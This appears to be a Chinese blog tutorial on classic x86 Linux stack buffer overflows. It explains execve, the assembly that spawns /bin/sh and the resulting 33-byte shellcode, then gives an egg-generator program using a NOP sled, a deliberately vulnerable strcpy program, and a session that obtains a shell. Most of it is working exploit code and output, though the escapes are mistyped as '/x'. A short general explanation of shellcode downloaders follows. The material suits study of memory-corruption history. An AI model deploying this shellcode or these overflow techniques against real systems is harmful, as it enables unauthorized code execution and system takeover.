shellcode

shellcode

利用系统调用execve得到shell

1、execve函数用法

函数原型为
int execve(const char *filename, char *const argv [], char *const envp[]);
例程
$ vi t.c
int main(int argc, char **argv)
{
        char *name[2] = {"/bin/sh", 0};
        execve(name[0], name, 0);
        return 0;
}
$ cc t.c
$ ./a.out
sh-2.05a$ exit
exit
$

2、汇编代码

汇编语句运行系统调用需使
eax = 0xb
ebx = /bin/sh字符串的地址
ecx = argv 即存储/bin/sh地址的内存位置
edx = envp 环境变量指针数组首地址

$ vi asm.c
int main()
{
        __asm("jmp 1f                       
        2:      pop %ebx                   ;ebx 存储/bin/sh的地址
                movl %ebx, 0x8(%ebx)       ;ebx + 8 中存储/bin/sh的地址
                xor %edx, %edx             ;edx = 0
                movb %dl, 0x7(%ebx)        ;字符串结尾
                movl %edx, 0xc(%ebx)       ;空指针
                movb $0xb, %al             ;execve系统调用号为11
                lea 0x8(%ebx), %ecx        ;ecx为内存中/bin/sh地址的位置
                int $0x80
        1:      call 2b"                   ;获得/bin/sh地址
                );
}

执行后/bin/sh处内存赋值情况

ebx + 0  [/bin/sh    ]       filename
ebx + 7  [0          ]      
ebx + 8  [ebx        ]       argv
ebx + c  [0          ]      

类似于char *argv[2] = {"/bin/sh", NULL};
argv = ebx + 8

得到shellcode
char shellcode[] =
"/xeb/x13/x5b/x89/x5b/x08/x31/xd2"
"/x88/x53/x07/x89/x53/x0c/xb0/x0b"
"/x8d/x4b/x08/xcd/x80/xe8/xe8/xff"
"/xff/xff/bin/sh";

共33个字节

3、main函数开始执行时esp值

系统初始化后开始执行main函数push %ebp; movl %esp, %ebp后 esp = ebp 大致为 0xbffffa98
得到最简情况下main函数开始执行时esp的值
$ vi tmp.c
void main()
{
}

(gdb) disassemble main
Dump of assembler code for function main:
0x80483d0 <main>:  push   %ebp
0x80483d1 <main+1>: mov    %esp,%ebp
0x80483d3 <main+3>: pop    %ebp
0x80483d4 <main+4>: ret 

0x080483d1 in main ()
(gdb) info r esp
esp            0xbffffa98 0xbffffa98

4、溢出测试

填充用数组为
(NOP...) (shellcode) (begin of the buffer)

1> 溢出用缓冲区生成程序

#include <stdlib.h>

#define DEFAULT_OFFSET          0
#define DEFAULT_BUFFER_SIZE     512
#define NOP                     0x90

char shellcode[] =
"/xeb/x13/x5b/x89/x5b/x08/x31/xd2"
"/x88/x53/x07/x89/x53/x0c/xb0/x0b"
"/x8d/x4b/x08/xcd/x80/xe8/xe8/xff"
"/xff/xff/bin/sh";

unsigned int get_sp()
{
        __asm__("movl %esp, %eax");
}

int main(int argc, char **argv)
{
        char *buff, *ptr;
        int *addr_ptr, addr;
        int offset = DEFAULT_OFFSET, bsize = DEFAULT_BUFFER_SIZE;
        int i;

        if (argc > 1) bsize  = atoi(argv[1]);
        if (argc > 2) offset = atoi(argv[2]);

        if (!(buff = malloc(bsize)))
        {
                printf("Can't allocate memorry./n");
                exit(0);
        }

        addr = get_sp() - offset;
        printf("esp: 0x%x/n", addr + offset);
        printf("Using address: 0x%x/n", addr);

        ptr = buff;
        addr_ptr = (int *)ptr;
        for (i = 0; i < bsize; i += 4)
                *(addr_ptr++) = addr;

        for (i = 0; i < bsize / 2; ++i)
                buff[i] = NOP;

        ptr = buff + (bsize / 2 - strlen(shellcode) / 2);
        for (i = 0; i < strlen(shellcode); ++i)
                *(ptr++) = shellcode[i];

        buff[bsize - 1] = '/0';

        memcpy(buff, "EGG=", 4);
        putenv(buff);
        system("/bin/bash");       /*使环境变量在新shell中有效*/

        return 0;
}

2> 有溢出漏洞的程序

int main(int argc, char ** argv)
{
        char buffer[512];
        printf("0x%x/n", (int)buffer);
        if (argc > 1)
                strcpy(buffer, argv[1]);

        return 0;
}

3> 溢出时用的参数
$ ./generate 612 1536
esp: 0xbffffa58
Using address: 0xbffff458
$ ./vulnerable $EGG
sh-2.05a$ exit
exit
$

可使generate 的第二个参数增大,用离shellcode更近的地址覆盖函数的返回地址

缓冲区的地址为0xbffff3f0,填充的数据开始有很多的NOP指令,从0xbffff458开始仍可以执行后面的shellcode

需注意环境变量和命令行参数放在栈空间会使main函数开始执行时 esp 的值减小

当程序中执行/bin/sh出现嵌套shell时,esp 的值已会减小

参考
Smashing The Stack For Fun And Profit        by Aleph One

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Shellcode downloader(壳代码下载器)是一种恶意软件的一部分,用于在受感染的系统上下载和执行恶意shellcode。它通常由黑客或攻击者利用系统的弱点,如漏洞或错误配置,将其注入到受感染系统的进程中。 Shellcode downloader的主要目的是在感染的系统上建立一个后门,以便攻击者能够以后访问并对系统进行进一步的攻击。通过下载和执行远程恶意shellcode,攻击者可以获取系统上的敏感信息、执行远程命令、安装其他恶意软件以及执行各种潜在攻击。 Shellcode downloader通常通过各种方式传播,比如利用社交工程、垃圾邮件、恶意网站或网络钓鱼攻击等。一旦感染了一个系统,shellcode downloader将执行以下一些步骤: 1. 首先,shellcode downloader会与其指定的远程服务器建立连接,以获取后续恶意代码的位置和执行指令。 2. 下载恶意的shellcode文件到受感染系统中,并将其写入指定的文件或内存位置。 3. 执行shellcode,使其在系统的特定进程中运行。shellcode的目标是通过利用系统或应用程序的弱点来获取系统权限并执行恶意操作。 4. 一旦shellcode成功运行,它可能会执行许多不同的操作,比如建立远程访问通道、搜集系统信息、窃取敏感信息或执行其他攻击。 为了保护系统免受shellcode downloader的入侵,用户应该始终注意不点击垃圾邮件或未知来源的链接,并保持系统和应用程序的更新,以修复任何发现的漏洞。此外,安装有效的防病毒和防火墙软件也是防止shellcode downloader侵入的关键步骤。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值